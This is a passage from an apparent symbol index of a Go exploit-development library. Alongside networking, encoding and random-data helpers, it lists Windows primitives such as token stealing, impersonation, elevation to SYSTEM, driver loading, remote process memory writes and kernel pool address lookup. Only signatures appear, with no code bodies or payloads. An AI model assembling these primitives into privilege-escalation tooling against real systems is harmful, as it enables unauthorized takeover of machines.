constant expectedTransport (line 18) | expectedTransport = defaultTransport
constant expectedCSeqHeader (line 19) | expectedCSeqHeader = "CSeq: 1 OPTIONS"
constant expectedPresenceHeaderValue (line 20) | expectedPresenceHeaderValue = "presence"
function TestNewSipRequest (line 23) | func TestNewSipRequest(t *testing.T) {
function TestNewViaHeader (line 316) | func TestNewViaHeader(t *testing.T) {
function TestIsContactRequired (line 396) | func TestIsContactRequired(t *testing.T) {
function TestAddMethodHeaders (line 426) | func TestAddMethodHeaders(t *testing.T) {
function TestNewRequestBody (line 645) | func TestNewRequestBody(t *testing.T) {
function TestNewDefaultInviteBody (line 703) | func TestNewDefaultInviteBody(t *testing.T) {
function TestNewDefaultPublishBody (line 740) | func TestNewDefaultPublishBody(t *testing.T) {
function TestNewDefaultNotifyBody (line 780) | func TestNewDefaultNotifyBody(t *testing.T) {
function TestParseTransport (line 813) | func TestParseTransport(t *testing.T) {
function TestParseMethod (line 835) | func TestParseMethod(t *testing.T) {
FILE: protocol/tcpsocket.go
function MixedConnect (line 18) | func MixedConnect(host string, port int, ssl bool) (net.Conn, bool) {
function TLSConnect (line 27) | func TLSConnect(host string, port int) (net.Conn, bool) {
function TCPConnect (line 37) | func TCPConnect(host string, port int) (net.Conn, bool) {
function TCPWrite (line 76) | func TCPWrite(conn net.Conn, data []byte) bool {
function TCPReadAmount (line 93) | func TCPReadAmount(conn net.Conn, amount int) ([]byte, bool) {
function TCPReadAmountBlind (line 117) | func TCPReadAmountBlind(conn net.Conn, amount int) ([]byte, bool) {
FILE: protocol/udpsocket.go
function UDPConnect (line 11) | func UDPConnect(host string, port int) (*net.UDPConn, bool) {
function UDPWrite (line 32) | func UDPWrite(conn *net.UDPConn, data []byte) bool {
function UDPReadAmount (line 49) | func UDPReadAmount(conn *net.UDPConn, amount int) ([]byte, bool) {
FILE: random/random.go
function RandIntRange (line 20) | func RandIntRange(rangeMin int, rangeMax int) int {
function RandPositiveInt (line 34) | func RandPositiveInt(rangeMax int) int {
function RandLetters (line 47) | func RandLetters(n int) string {
function RandLettersNoBadChars (line 58) | func RandLettersNoBadChars(n int, badchars []rune) string {
function RandLettersRange (line 87) | func RandLettersRange(rangeMin int, rangeMax int) string {
function RandMAC (line 92) | func RandMAC() string {
function RandHex (line 102) | func RandHex(n int) string {
function RandHexRange (line 112) | func RandHexRange(rangeMin int, rangeMax int) string {
function RandDigits (line 117) | func RandDigits(n int) string {
function RandDigitsRange (line 134) | func RandDigitsRange(rangeMin int, rangeMax int) string {
function RandDomain (line 139) | func RandDomain() string {
function RandEmail (line 147) | func RandEmail() string {
function RandIPv4 (line 159) | func RandIPv4() net.IP {
function RandIPv4Private (line 169) | func RandIPv4Private() net.IP {
function RandIPv4Loopback (line 197) | func RandIPv4Loopback() net.IP {
function RandIPv6 (line 207) | func RandIPv6() net.IP {
FILE: random/random_test.go
function Test_RandPositiveInt (line 9) | func Test_RandPositiveInt(t *testing.T) {
function Test_RandIntRange (line 19) | func Test_RandIntRange(t *testing.T) {
function Test_RandLetters (line 29) | func Test_RandLetters(t *testing.T) {
function Test_RandLettersNoBadChars (line 57) | func Test_RandLettersNoBadChars(t *testing.T) {
function Test_RandDigits (line 73) | func Test_RandDigits(t *testing.T) {
function Test_RandHex (line 90) | func Test_RandHex(t *testing.T) {
function Test_RandLettersRange (line 103) | func Test_RandLettersRange(t *testing.T) {
function Test_RandHexRange (line 116) | func Test_RandHexRange(t *testing.T) {
function Test_RandDigitsRange (line 129) | func Test_RandDigitsRange(t *testing.T) {
function Test_RandDomain (line 146) | func Test_RandDomain(t *testing.T) {
function Test_RandMAC (line 158) | func Test_RandMAC(t *testing.T) {
function Test_RandEmail (line 170) | func Test_RandEmail(t *testing.T) {
function TestRandIPv4 (line 182) | func TestRandIPv4(t *testing.T) {
function TestRandIPv6 (line 195) | func TestRandIPv6(t *testing.T) {
function TestRandIPv4Private (line 208) | func TestRandIPv4Private(t *testing.T) {
function TestRandIPv4Loopback (line 228) | func TestRandIPv4Loopback(t *testing.T) {
FILE: search/search_test.go
function TestCheckSemVer_Full (line 19) | func TestCheckSemVer_Full(t *testing.T) {
function TestCheckSemVer_BadVersion (line 28) | func TestCheckSemVer_BadVersion(t *testing.T) {
function TestCheckSemVer_BadConstraint (line 37) | func TestCheckSemVer_BadConstraint(t *testing.T) {
function TestXPath_Node (line 46) | func TestXPath_Node(t *testing.T) {
function TestXPath_NodeMultiple (line 56) | func TestXPath_NodeMultiple(t *testing.T) {
function TestXPathAll_NodeMultiple (line 66) | func TestXPathAll_NodeMultiple(t *testing.T) {
function TestXPath_Attributes (line 76) | func TestXPath_Attributes(t *testing.T) {
FILE: search/semver.go
function CheckSemVer (line 14) | func CheckSemVer(version string, constraint string) bool {
FILE: search/xpath.go
function XPath (line 15) | func XPath(document, path string) (string, bool) {
function XPathAll (line 34) | func XPathAll(document, path string) ([]string, bool) {
FILE: transform/encode.go
function StringToUnicodeByteArray (line 20) | func StringToUnicodeByteArray(s string) []byte {
function Inflate (line 31) | func Inflate(compressed []byte) ([]byte, bool) {
function EncodeBase64 (line 51) | func EncodeBase64(s string) string {
function EncodeBase64URL (line 56) | func EncodeBase64URL(s string) string {
function EncodeBase64GWTRPC (line 61) | func EncodeBase64GWTRPC(s string) string {
function EncodeBase64Chunks (line 75) | func EncodeBase64Chunks(s string, maxChunkSize uint) []string {
function DecodeBase64 (line 133) | func DecodeBase64(s string) string {
function DecodeBase64URL (line 145) | func DecodeBase64URL(s string) string {
function Title (line 160) | func Title(s string) string {
function URLEncodeString (line 165) | func URLEncodeString(inputString string) string {
function PackLittleInt16 (line 175) | func PackLittleInt16(n int) string {
function PackLittleInt32 (line 187) | func PackLittleInt32(n int) string {
function PackLittleInt64 (line 199) | func PackLittleInt64(n int) string {
function PackBigInt16 (line 211) | func PackBigInt16(n int) string {
function PackBigInt32 (line 223) | func PackBigInt32(n int) string {
function PackBigInt64 (line 235) | func PackBigInt64(n int) string {
function PackBigFloat32 (line 247) | func PackBigFloat32(f float32) string {
FILE: transform/encode_test.go
constant urlTestString (line 8) | urlTestString = "Theskyabovetheportwasthecoloroftelevision,tunedtoadeadc...
function TestURLEncodeString (line 11) | func TestURLEncodeString(t *testing.T) {
function TestEncodeBase64 (line 21) | func TestEncodeBase64(t *testing.T) {
function TestEncodeBase64Chunks (line 31) | func TestEncodeBase64Chunks(t *testing.T) {
function TestEncodeBase64Chunks_EmptyString (line 62) | func TestEncodeBase64Chunks_EmptyString(t *testing.T) {
function TestEncodeBase64Chunks_SmallerThanMaxsize (line 69) | func TestEncodeBase64Chunks_SmallerThanMaxsize(t *testing.T) {
function TestEncodeBase64URL (line 77) | func TestEncodeBase64URL(t *testing.T) {
function TestDecodeBase64URL (line 87) | func TestDecodeBase64URL(t *testing.T) {
function TestDecodeBase64URL_NoPad (line 97) | func TestDecodeBase64URL_NoPad(t *testing.T) {
function TestDecodeBase64URL_WayTooMuchPadding (line 107) | func TestDecodeBase64URL_WayTooMuchPadding(t *testing.T) {
function TestDecodeBase64 (line 117) | func TestDecodeBase64(t *testing.T) {
function TestTitle (line 127) | func TestTitle(t *testing.T) {
function TestPackLittleInt32 (line 137) | func TestPackLittleInt32(t *testing.T) {
function TestPackLittleInt64 (line 147) | func TestPackLittleInt64(t *testing.T) {
function TestPackBigInt16 (line 157) | func TestPackBigInt16(t *testing.T) {
function TestPackBigInt32 (line 167) | func TestPackBigInt32(t *testing.T) {
function TestPackBigInt64 (line 177) | func TestPackBigInt64(t *testing.T) {
function TestInflate (line 187) | func TestInflate(t *testing.T) {
FILE: transform/escape.go
function EscapeXML (line 13) | func EscapeXML(s string) string {
FILE: transform/escape_test.go
function TestEscapeHTML (line 7) | func TestEscapeHTML(t *testing.T) {
function TestEscapeXML (line 17) | func TestEscapeXML(t *testing.T) {
FILE: transform/parsing.go
function ParseCommand (line 13) | func ParseCommand(command string) (string, string, bool) {
FILE: transform/parsing_test.go
function TestParseCommand (line 5) | func TestParseCommand(t *testing.T) {
FILE: transform/transform.go
function ShuffleURLParameters (line 17) | func ShuffleURLParameters(request string) string {
FILE: transform/transform_test.go
function TestShuffleParameters (line 7) | func TestShuffleParameters(t *testing.T) {
function TestShuffleParametersFullURL (line 24) | func TestShuffleParametersFullURL(t *testing.T) {
function TestShuffleParametersInvalid (line 55) | func TestShuffleParametersInvalid(t *testing.T) {
FILE: windows/alpc_other.go
constant AlpcBasicInformation (line 11) | AlpcBasicInformation = 0
constant AlpcPortInformation (line 12) | AlpcPortInformation = 1
constant AlpcAssociateCompletionPortInformation (line 13) | AlpcAssociateCompletionPortInformation = 2
constant AlpcConnectedSIDInformation (line 14) | AlpcConnectedSIDInformation = 3
constant AlpcServerInformation (line 15) | AlpcServerInformation = 4
constant AlpcMessageZoneInformation (line 16) | AlpcMessageZoneInformation = 5
constant AlpcRegisterCompletionListInformation (line 17) | AlpcRegisterCompletionListInformation = 6
constant AlpcUnregisterCompletionListInformation (line 18) | AlpcUnregisterCompletionListInformation = 7
constant AlpcAdjustCompletionListConcurrencyCountInformation (line 19) | AlpcAdjustCompletionListConcurrencyCountInformation = 8
constant AlpcRegisterCallbackInformation (line 20) | AlpcRegisterCallbackInformation = 9
constant AlpcDisconnectPortInformation (line 21) | AlpcDisconnectPortInformation = 10
constant AlpcPortSectionInformation (line 22) | AlpcPortSectionInformation = 11
function EnumALPCPorts (line 27) | func EnumALPCPorts(_ uint32) ([]HandleInfo, bool) {
function QueryALPCPortSectionInfo (line 33) | func QueryALPCPortSectionInfo(_ Handle) (*ALPCSectionInfo, bool) {
function NtAlpcCreatePort (line 39) | func NtAlpcCreatePort(_ string, _ uint64) (Handle, bool) {
function NtAlpcCreateResourceReserve (line 45) | func NtAlpcCreateResourceReserve(_ Handle, _ uint32) (Handle, bool) {
function NtAlpcSendWaitReceivePort (line 51) | func NtAlpcSendWaitReceivePort(_ Handle, _ uint32, _ unsafe.Pointer) (ui...
function CreateALPCPorts (line 57) | func CreateALPCPorts(_ uint32, _ string, _ uint64) ([]Handle, bool) {
FILE: windows/alpc_test.go
function TestALPCInformationClassConstants (line 10) | func TestALPCInformationClassConstants(t *testing.T) {
function TestEnumALPCPortsNonWindows (line 38) | func TestEnumALPCPortsNonWindows(t *testing.T) {
function TestQueryALPCPortSectionInfoNonWindows (line 47) | func TestQueryALPCPortSectionInfoNonWindows(t *testing.T) {
function TestALPCSectionInfoStruct (line 56) | func TestALPCSectionInfoStruct(t *testing.T) {
FILE: windows/alpc_windows.go
constant AlpcBasicInformation (line 16) | AlpcBasicInformation = 0
constant AlpcPortInformation (line 17) | AlpcPortInformation = 1
constant AlpcAssociateCompletionPortInformation (line 18) | AlpcAssociateCompletionPortInformation = 2
constant AlpcConnectedSIDInformation (line 19) | AlpcConnectedSIDInformation = 3
constant AlpcServerInformation (line 20) | AlpcServerInformation = 4
constant AlpcMessageZoneInformation (line 21) | AlpcMessageZoneInformation = 5
constant AlpcRegisterCompletionListInformation (line 22) | AlpcRegisterCompletionListInformation = 6
constant AlpcUnregisterCompletionListInformation (line 23) | AlpcUnregisterCompletionListInformation = 7
constant AlpcAdjustCompletionListConcurrencyCountInformation (line 24) | AlpcAdjustCompletionListConcurrencyCountInformation = 8
constant AlpcRegisterCallbackInformation (line 25) | AlpcRegisterCallbackInformation = 9
constant AlpcDisconnectPortInformation (line 26) | AlpcDisconnectPortInformation = 10
constant AlpcPortSectionInformation (line 27) | AlpcPortSectionInformation = 11
type alpcPortSectionInfoInternal (line 31) | type alpcPortSectionInfoInternal struct
function EnumALPCPorts (line 40) | func EnumALPCPorts(pid uint32) ([]HandleInfo, bool) {
function QueryALPCPortSectionInfo (line 47) | func QueryALPCPortSectionInfo(portHandle Handle) (*ALPCSectionInfo, bool) {
function NtAlpcCreatePort (line 77) | func NtAlpcCreatePort(portName string, maxMessageLength uint64) (Handle,...
function NtAlpcCreateResourceReserve (line 116) | func NtAlpcCreateResourceReserve(portHandle Handle, messageSize uint32) ...
function NtAlpcSendWaitReceivePort (line 139) | func NtAlpcSendWaitReceivePort(portHandle Handle, flags uint32, sendMsg ...
function CreateALPCPorts (line 162) | func CreateALPCPorts(count uint32, prefix string, maxMessageLength uint6...
FILE: windows/device_other.go
function OpenDevice (line 9) | func OpenDevice(_ string, _ uint32) (Handle, bool) {
function DeviceIoControl (line 15) | func DeviceIoControl(_ Handle, _ uint32, _ []byte, _ []byte) (uint32, bo...
function DeviceIoControlPtr (line 21) | func DeviceIoControlPtr(_ Handle, _ uint32, _ unsafe.Pointer, _ uint32, ...
function CtlCode (line 28) | func CtlCode(deviceType, function, method, access uint32) uint32 {
constant FileDeviceUnknown (line 34) | FileDeviceUnknown = 0x00000022
constant FileDeviceKS (line 35) | FileDeviceKS = 0x0000002F
constant MethodBuffered (line 40) | MethodBuffered = 0
constant MethodInDirect (line 41) | MethodInDirect = 1
constant MethodOutDirect (line 42) | MethodOutDirect = 2
constant MethodNeither (line 43) | MethodNeither = 3
constant FileAnyAccess (line 48) | FileAnyAccess = 0
constant FileReadAccess (line 49) | FileReadAccess = 1
constant FileWriteAccess (line 50) | FileWriteAccess = 2
FILE: windows/device_test.go
function TestCtlCode (line 10) | func TestCtlCode(t *testing.T) {
function TestOpenDeviceNonWindows (line 20) | func TestOpenDeviceNonWindows(t *testing.T) {
function TestDeviceIoControlNonWindows (line 29) | func TestDeviceIoControlNonWindows(t *testing.T) {
function TestDeviceConstants (line 38) | func TestDeviceConstants(t *testing.T) {
FILE: windows/device_windows.go
function OpenDevice (line 13) | func OpenDevice(devicePath string, access uint32) (Handle, bool) {
function DeviceIoControl (line 38) | func DeviceIoControl(device Handle, ioControlCode uint32, inBuffer []byt...
function DeviceIoControlPtr (line 76) | func DeviceIoControlPtr(device Handle, ioControlCode uint32, inPtr unsaf...
function CtlCode (line 106) | func CtlCode(deviceType, function, method, access uint32) uint32 {
constant FileDeviceUnknown (line 112) | FileDeviceUnknown = 0x00000022
constant FileDeviceKS (line 113) | FileDeviceKS = 0x0000002F
constant MethodBuffered (line 118) | MethodBuffered = 0
constant MethodInDirect (line 119) | MethodInDirect = 1
constant MethodOutDirect (line 120) | MethodOutDirect = 2
constant MethodNeither (line 121) | MethodNeither = 3
constant FileAnyAccess (line 126) | FileAnyAccess = 0
constant FileReadAccess (line 127) | FileReadAccess = 1
constant FileWriteAccess (line 128) | FileWriteAccess = 2
FILE: windows/fsctl_other.go
function NtFsControlFile (line 7) | func NtFsControlFile(_ Handle, _ uint32, _ []byte, _ []byte) (*IOStatusB...
function NtFsControlFilePtr (line 13) | func NtFsControlFilePtr(_ Handle, _ uint32, _ uintptr, _ uint32, _ uintp...
function NtCreateFile (line 19) | func NtCreateFile(_ string, _ uint32, _ uint32, _ uint32, _ uint32, _ ui...
FILE: windows/fsctl_windows.go
function NtFsControlFile (line 15) | func NtFsControlFile(handle Handle, fsctlCode uint32, inBuf []byte, outB...
function NtFsControlFilePtr (line 52) | func NtFsControlFilePtr(handle Handle, fsctlCode uint32, inPtr uintptr, ...
function NtCreateFile (line 79) | func NtCreateFile(ntPath string, desiredAccess uint32, shareAccess uint3...
FILE: windows/handle_other.go
function QuerySystemHandles (line 7) | func QuerySystemHandles() ([]HandleInfo, bool) {
function QueryProcessHandles (line 13) | func QueryProcessHandles(_ uint32) ([]HandleInfo, bool) {
function QueryProcessHandlesByType (line 19) | func QueryProcessHandlesByType(_ uint32, _ uint8) ([]HandleInfo, bool) {
function DuplicateHandle (line 25) | func DuplicateHandle(_ Handle, _ Handle, _ Handle, _ uint32, _ bool, _ u...
function DuplicateHandleFromProcess (line 31) | func DuplicateHandleFromProcess(_ uint32, _ uint16) (Handle, bool) {
constant DuplicateCloseSource (line 37) | DuplicateCloseSource = 0x1
constant DuplicateSameAccess (line 38) | DuplicateSameAccess = 0x2
function QueryBigPoolInformation (line 43) | func QueryBigPoolInformation(_ uint32, _ uint64) ([]BigPoolEntry, bool) {
function FindBigPoolAddress (line 49) | func FindBigPoolAddress(_ uint32, _ uint64) (uintptr, bool) {
FILE: windows/handle_test.go
function TestHandleDuplicationConstants (line 10) | func TestHandleDuplicationConstants(t *testing.T) {
function TestQuerySystemHandlesNonWindows (line 19) | func TestQuerySystemHandlesNonWindows(t *testing.T) {
function TestQueryProcessHandlesNonWindows (line 28) | func TestQueryProcessHandlesNonWindows(t *testing.T) {
function TestQueryProcessHandlesByTypeNonWindows (line 37) | func TestQueryProcessHandlesByTypeNonWindows(t *testing.T) {
function TestDuplicateHandleNonWindows (line 46) | func TestDuplicateHandleNonWindows(t *testing.T) {
function TestDuplicateHandleFromProcessNonWindows (line 62) | func TestDuplicateHandleFromProcessNonWindows(t *testing.T) {
FILE: windows/handle_windows.go
function QuerySystemHandles (line 16) | func QuerySystemHandles() ([]HandleInfo, bool) {
function QueryProcessHandles (line 64) | func QueryProcessHandles(pid uint32) ([]HandleInfo, bool) {
function QueryProcessHandlesByType (line 81) | func QueryProcessHandlesByType(pid uint32, objectTypeIndex uint8) ([]Han...
function DuplicateHandle (line 98) | func DuplicateHandle(sourceProcess Handle, sourceHandle Handle, targetPr...
function DuplicateHandleFromProcess (line 126) | func DuplicateHandleFromProcess(sourcePID uint32, sourceHandleValue uint...
constant DuplicateCloseSource (line 150) | DuplicateCloseSource = 0x1
constant DuplicateSameAccess (line 151) | DuplicateSameAccess = 0x2
function QueryBigPoolInformation (line 157) | func QueryBigPoolInformation(tag uint32, poolSize uint64) ([]BigPoolEntr...
function FindBigPoolAddress (line 216) | func FindBigPoolAddress(tag uint32, poolSize uint64) (uintptr, bool) {
FILE: windows/memory_other.go
function VirtualAlloc (line 7) | func VirtualAlloc(_ uintptr, _ uintptr, _ uint32, _ uint32) (uintptr, bo...
function VirtualAllocEx (line 13) | func VirtualAllocEx(_ Handle, _ uintptr, _ uintptr, _ uint32, _ uint32) ...
function VirtualFree (line 19) | func VirtualFree(_ uintptr, _ uintptr, _ uint32) bool {
function VirtualFreeEx (line 25) | func VirtualFreeEx(_ Handle, _ uintptr, _ uintptr, _ uint32) bool {
function VirtualProtect (line 31) | func VirtualProtect(_ uintptr, _ uintptr, _ uint32) (uint32, bool) {
function VirtualProtectEx (line 37) | func VirtualProtectEx(_ Handle, _ uintptr, _ uintptr, _ uint32) (uint32,...
function VirtualQuery (line 43) | func VirtualQuery(_ uintptr) (*MemoryRegionInfo, bool) {
function VirtualQueryEx (line 49) | func VirtualQueryEx(_ Handle, _ uintptr) (*MemoryRegionInfo, bool) {
function ReadProcessMemory (line 55) | func ReadProcessMemory(_ Handle, _ uintptr, _ []byte) (int, bool) {
function WriteProcessMemory (line 61) | func WriteProcessMemory(_ Handle, _ uintptr, _ []byte) (int, bool) {
function CreateFileMapping (line 67) | func CreateFileMapping(_ Handle, _ uint64, _ uint32, _ string) (Handle, ...
function MapViewOfFile (line 73) | func MapViewOfFile(_ Handle, _ uint32, _ uint64, _ uintptr) (uintptr, bo...
function UnmapViewOfFile (line 79) | func UnmapViewOfFile(_ uintptr) bool {
constant FileMapCopy (line 85) | FileMapCopy = 0x0001
constant FileMapWrite (line 86) | FileMapWrite = 0x0002
constant FileMapRead (line 87) | FileMapRead = 0x0004
constant FileMapExecute (line 88) | FileMapExecute = 0x0020
constant FileMapAllAccess (line 89) | FileMapAllAccess = 0xF001F
constant SecCommit (line 94) | SecCommit = 0x8000000
constant SecImage (line 95) | SecImage = 0x1000000
constant SecReserve (line 96) | SecReserve = 0x4000000
FILE: windows/memory_test.go
function TestMemoryProtectionConstants (line 10) | func TestMemoryProtectionConstants(t *testing.T) {
function TestMemoryAllocationConstants (line 22) | func TestMemoryAllocationConstants(t *testing.T) {
function TestVirtualAllocNonWindows (line 34) | func TestVirtualAllocNonWindows(t *testing.T) {
function TestVirtualFreeNonWindows (line 43) | func TestVirtualFreeNonWindows(t *testing.T) {
function TestVirtualProtectNonWindows (line 52) | func TestVirtualProtectNonWindows(t *testing.T) {
function TestVirtualQueryNonWindows (line 61) | func TestVirtualQueryNonWindows(t *testing.T) {
function TestReadProcessMemoryNonWindows (line 70) | func TestReadProcessMemoryNonWindows(t *testing.T) {
function TestWriteProcessMemoryNonWindows (line 80) | func TestWriteProcessMemoryNonWindows(t *testing.T) {
function TestCreateFileMappingNonWindows (line 90) | func TestCreateFileMappingNonWindows(t *testing.T) {
function TestMapViewOfFileNonWindows (line 99) | func TestMapViewOfFileNonWindows(t *testing.T) {
function TestUnmapViewOfFileNonWindows (line 108) | func TestUnmapViewOfFileNonWindows(t *testing.T) {
function TestMemoryRegionInfoStruct (line 117) | func TestMemoryRegionInfoStruct(t *testing.T) {
FILE: windows/memory_windows.go
function VirtualAlloc (line 14) | func VirtualAlloc(address uintptr, size uintptr, allocationType uint32, ...
function VirtualAllocEx (line 25) | func VirtualAllocEx(process Handle, address uintptr, size uintptr, alloc...
function VirtualFree (line 45) | func VirtualFree(address uintptr, size uintptr, freeType uint32) bool {
function VirtualFreeEx (line 56) | func VirtualFreeEx(process Handle, address uintptr, size uintptr, freeTy...
function VirtualProtect (line 75) | func VirtualProtect(address uintptr, size uintptr, newProtect uint32) (u...
function VirtualProtectEx (line 87) | func VirtualProtectEx(process Handle, address uintptr, size uintptr, new...
function VirtualQuery (line 99) | func VirtualQuery(address uintptr) (*MemoryRegionInfo, bool) {
function VirtualQueryEx (line 119) | func VirtualQueryEx(process Handle, address uintptr) (*MemoryRegionInfo,...
function ReadProcessMemory (line 139) | func ReadProcessMemory(process Handle, address uintptr, buffer []byte) (...
function WriteProcessMemory (line 151) | func WriteProcessMemory(process Handle, address uintptr, buffer []byte) ...
function CreateFileMapping (line 163) | func CreateFileMapping(file Handle, size uint64, protect uint32, name st...
function MapViewOfFile (line 187) | func MapViewOfFile(mapping Handle, access uint32, offset uint64, size ui...
function UnmapViewOfFile (line 201) | func UnmapViewOfFile(address uintptr) bool {
constant FileMapCopy (line 212) | FileMapCopy = windows.FILE_MAP_COPY
constant FileMapWrite (line 213) | FileMapWrite = windows.FILE_MAP_WRITE
constant FileMapRead (line 214) | FileMapRead = windows.FILE_MAP_READ
constant FileMapExecute (line 215) | FileMapExecute = windows.FILE_MAP_EXECUTE
constant FileMapAllAccess (line 216) | FileMapAllAccess = 0xF001F
constant SecCommit (line 221) | SecCommit = 0x8000000
constant SecImage (line 222) | SecImage = 0x1000000
constant SecReserve (line 223) | SecReserve = 0x4000000
FILE: windows/platform_other.go
function GetPlatformInfo (line 7) | func GetPlatformInfo() (*PlatformInfo, bool) {
function IsAdmin (line 13) | func IsAdmin() bool {
function IsSystem (line 19) | func IsSystem() bool {
function IsElevated (line 25) | func IsElevated() bool {
function GetIntegrityLevel (line 31) | func GetIntegrityLevel() IntegrityLevel {
function EnumProcesses (line 37) | func EnumProcesses() ([]ProcessInfo, bool) {
function GetProcessInfo (line 43) | func GetProcessInfo(_ uint32) (*ProcessInfo, bool) {
function FindProcess (line 49) | func FindProcess(_ string) (uint32, bool) {
function FindProcesses (line 55) | func FindProcesses(_ string) ([]uint32, bool) {
function OpenProcess (line 61) | func OpenProcess(_ uint32, _ uint32) (Handle, bool) {
function CloseHandle (line 67) | func CloseHandle(_ Handle) bool {
function GetCurrentProcess (line 73) | func GetCurrentProcess() Handle {
function GetCurrentProcessID (line 79) | func GetCurrentProcessID() uint32 {
FILE: windows/platform_windows.go
type rtlOSVersionInfoW (line 41) | type rtlOSVersionInfoW struct
type systemHandleTableEntryInfo (line 51) | type systemHandleTableEntryInfo struct
type systemHandleInformation (line 64) | type systemHandleInformation struct
function GetPlatformInfo (line 70) | func GetPlatformInfo() (*PlatformInfo, bool) {
function getArch (line 134) | func getArch() string {
function getTokenIntegrityLevel (line 141) | func getTokenIntegrityLevel(token windows.Token) IntegrityLevel {
function isAdmin (line 186) | func isAdmin(token windows.Token) bool {
function IsAdmin (line 203) | func IsAdmin() bool {
function IsSystem (line 212) | func IsSystem() bool {
function IsElevated (line 221) | func IsElevated() bool {
function GetIntegrityLevel (line 230) | func GetIntegrityLevel() IntegrityLevel {
function EnumProcesses (line 240) | func EnumProcesses() ([]ProcessInfo, bool) {
function GetProcessInfo (line 274) | func GetProcessInfo(pid uint32) (*ProcessInfo, bool) {
function getProcessInfoSilent (line 285) | func getProcessInfoSilent(pid uint32) (*ProcessInfo, bool) {
function FindProcess (line 335) | func FindProcess(name string) (uint32, bool) {
function FindProcesses (line 352) | func FindProcesses(name string) ([]uint32, bool) {
function OpenProcess (line 374) | func OpenProcess(pid uint32, access uint32) (Handle, bool) {
function CloseHandle (line 385) | func CloseHandle(handle Handle) bool {
function GetCurrentProcess (line 396) | func GetCurrentProcess() Handle {
function GetCurrentProcessID (line 402) | func GetCurrentProcessID() uint32 {
FILE: windows/service_other.go
type SCManager (line 6) | type SCManager struct
function OpenSCManager (line 10) | func OpenSCManager(_ uint32) (*SCManager, bool) {
function GetServiceInfo (line 16) | func GetServiceInfo(_ string) (*ServiceInfo, bool) {
function StartService (line 22) | func StartService(_ string) bool {
function StopService (line 28) | func StopService(_ string) bool {
function EnumServices (line 34) | func EnumServices() ([]ServiceInfo, bool) {
function EnumDrivers (line 40) | func EnumDrivers() ([]ServiceInfo, bool) {
function LoadDriver (line 46) | func LoadDriver(_ string, _ string) bool {
function UnloadDriver (line 52) | func UnloadDriver(_ string) bool {
function IsServiceRunning (line 58) | func IsServiceRunning(_ string) bool {
function GetServicePID (line 64) | func GetServicePID(_ string) (uint32, bool) {
FILE: windows/service_test.go
function TestServiceStatusConstants (line 10) | func TestServiceStatusConstants(t *testing.T) {
function TestServiceTypeConstants (line 19) | func TestServiceTypeConstants(t *testing.T) {
function TestGetServiceInfoNonWindows (line 28) | func TestGetServiceInfoNonWindows(t *testing.T) {
function TestStartServiceNonWindows (line 37) | func TestStartServiceNonWindows(t *testing.T) {
function TestStopServiceNonWindows (line 46) | func TestStopServiceNonWindows(t *testing.T) {
function TestEnumServicesNonWindows (line 55) | func TestEnumServicesNonWindows(t *testing.T) {
function TestEnumDriversNonWindows (line 64) | func TestEnumDriversNonWindows(t *testing.T) {
function TestLoadDriverNonWindows (line 73) | func TestLoadDriverNonWindows(t *testing.T) {
function TestIsServiceRunningNonWindows (line 82) | func TestIsServiceRunningNonWindows(t *testing.T) {
FILE: windows/service_windows.go
function OpenSCManager (line 13) | func OpenSCManager(access uint32) (*mgr.Mgr, bool) {
function GetServiceInfo (line 23) | func GetServiceInfo(serviceName string) (*ServiceInfo, bool) {
function StartService (line 63) | func StartService(serviceName string) bool {
function StopService (line 88) | func StopService(serviceName string) bool {
function EnumServices (line 113) | func EnumServices() ([]ServiceInfo, bool) {
function getServiceInfoSilent (line 142) | func getServiceInfoSilent(m *mgr.Mgr, serviceName string) (*ServiceInfo,...
function EnumDrivers (line 172) | func EnumDrivers() ([]ServiceInfo, bool) {
function LoadDriver (line 202) | func LoadDriver(driverPath string, serviceName string) bool {
function UnloadDriver (line 237) | func UnloadDriver(serviceName string) bool {
function IsServiceRunning (line 269) | func IsServiceRunning(serviceName string) bool {
function GetServicePID (line 278) | func GetServicePID(serviceName string) (uint32, bool) {
FILE: windows/token_other.go
function OpenProcessToken (line 7) | func OpenProcessToken(_ Handle, _ uint32) (Token, bool) {
function OpenProcessTokenByPID (line 13) | func OpenProcessTokenByPID(_ uint32, _ uint32) (Token, bool) {
function DuplicateToken (line 19) | func DuplicateToken(_ Token, _ SecurityImpersonationLevel, _ TokenType) ...
function ImpersonateToken (line 25) | func ImpersonateToken(_ Token) bool {
function RevertToSelf (line 31) | func RevertToSelf() bool {
function CloseToken (line 37) | func CloseToken(_ Token) bool {
function GetTokenUser (line 43) | func GetTokenUser(_ Token) (string, bool) {
function GetTokenIntegrity (line 49) | func GetTokenIntegrity(_ Token) IntegrityLevel {
function StealToken (line 55) | func StealToken(_ uint32) (Token, bool) {
function StealAndImpersonate (line 61) | func StealAndImpersonate(_ uint32) bool {
function FindSystemProcess (line 80) | func FindSystemProcess() (uint32, bool) {
function ElevateToSystem (line 86) | func ElevateToSystem() bool {
function EnablePrivilege (line 92) | func EnablePrivilege(_ string) bool {
constant SeDebugPrivilege (line 98) | SeDebugPrivilege = "SeDebugPrivilege"
constant SeImpersonatePrivilege (line 99) | SeImpersonatePrivilege = "SeImpersonatePrivilege"
constant SeAssignPrimaryTokenPrivilege (line 100) | SeAssignPrimaryTokenPrivilege = "SeAssignPrimaryTokenPrivilege"
constant SeTcbPrivilege (line 101) | SeTcbPrivilege = "SeTcbPrivilege"
constant SeBackupPrivilege (line 102) | SeBackupPrivilege = "SeBackupPrivilege"
constant SeRestorePrivilege (line 103) | SeRestorePrivilege = "SeRestorePrivilege"
constant SeTakeOwnershipPrivilege (line 104) | SeTakeOwnershipPrivilege = "SeTakeOwnershipPrivilege"
constant SeLoadDriverPrivilege (line 105) | SeLoadDriverPrivilege = "SeLoadDriverPrivilege"
function QueryTokenInformation (line 110) | func QueryTokenInformation(_ Token, _ uint32) ([]byte, bool) {
function GetTokenPrivileges (line 116) | func GetTokenPrivileges(_ Token) ([]string, bool) {
function GetTokenInfo (line 122) | func GetTokenInfo(_ Token) (*TokenInfo, bool) {
function IsTokenElevated (line 128) | func IsTokenElevated(_ Token) bool {
function GetTokenSessionID (line 134) | func GetTokenSessionID(_ Token) (uint32, bool) {
FILE: windows/token_test.go
function TestTokenTypeConstants (line 10) | func TestTokenTypeConstants(t *testing.T) {
function TestSecurityImpersonationLevelConstants (line 19) | func TestSecurityImpersonationLevelConstants(t *testing.T) {
function TestPrivilegeConstants (line 34) | func TestPrivilegeConstants(t *testing.T) {
function TestOpenProcessTokenNonWindows (line 62) | func TestOpenProcessTokenNonWindows(t *testing.T) {
